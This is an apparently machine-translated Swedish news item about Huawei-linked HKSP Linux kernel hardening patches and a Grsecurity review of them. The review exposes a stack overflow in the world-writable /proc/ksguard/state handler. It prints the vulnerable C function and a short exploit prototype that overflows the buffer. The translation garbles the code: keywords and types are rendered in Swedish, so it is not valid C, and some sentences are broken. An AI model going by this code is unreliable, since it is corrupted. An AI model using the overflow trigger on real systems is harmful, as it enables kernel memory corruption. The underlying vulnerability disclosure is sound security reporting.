Utvecklare av Grsecurity-projektet
HKSP-lapparna publicerades av en Huawei-anställd, inkluderar ett omnämnande av Huawei i GitHub-profilen och använder ordet Huawei i projektnamnet (HKSP - Huawei Kernel Self Protection). Samtidigt förnekade Huawei-representanter kopplingen mellan HKSP-projektet och företaget och uppgav att koden utvecklades på den anställdes personliga initiativ, inte är ett officiellt Huawei-projekt och inte används i företagets produkter. På
HKSP inkluderar ändringar såsom randomisering av förskjutningar i cred-strukturen, skydd mot attacker på användaridentifierarens namnområde (pid-namnutrymme), separation av processstacken från mmap-området, detektering av dubbla anrop till kfree-funktionen, blockering av läckor genom pseudo -FS /proc (/proc/ {moduler, nycklar, nyckelanvändare}, /proc/sys/kernel/* och /proc/sys/vm/mmap_min_addr, /proc/kallsyms), förbättrad randomisering av användarutrymmesadress, ytterligare Ptrace skydd, förbättrat smap- och smep-skydd , möjligheten att förbjuda sändning av data via råa sockets, blockering av felaktiga adresser i UDP-sockets och kontrollera integriteten av pågående processer. Den innehåller också Ksguard-kärnmodulen, som syftar till att upptäcka försök att introducera typiska rootkits.
Plåster
En studie av patchen av Grsecurity-utvecklare avslöjade många fel och svagheter i koden, och visade också frånvaron av en hotmodell som skulle tillåta dem att på ett adekvat sätt bedöma projektets kapacitet. För att tydligt visa att koden skrevs utan att använda säkra programmeringsmetoder ges ett exempel på en trivial sårbarhet i hanteraren.
filen /proc/ksguard/state, som skapas med rättigheterna 0777, vilket innebär att alla har skrivbehörighet. Funktionen ksg_state_write, som används för att analysera kommandon skrivna till /proc/ksguard/state, skapar en tmp[32]-buffert till vilken data skrivs baserat på storleken på den skickade operanden, utan att ta hänsyn till storleken på målbufferten och utan kontrollera parametern med strängstorleken. De där. För att skriva över en del av kärnstacken behöver en angripare bara skriva en speciellt formaterad rad till /proc/ksguard/state.
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *offset)
{
u64 värde;
char tmp[32];
storlek_t n = 0;
if (copy_from_user(tmp, buf, len))
avkastning -1;
värde = simple_strtoul(tmp, '\0', 10);
.
Utnyttja prototyp:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
close(fd);
}
Källa: opennet.ru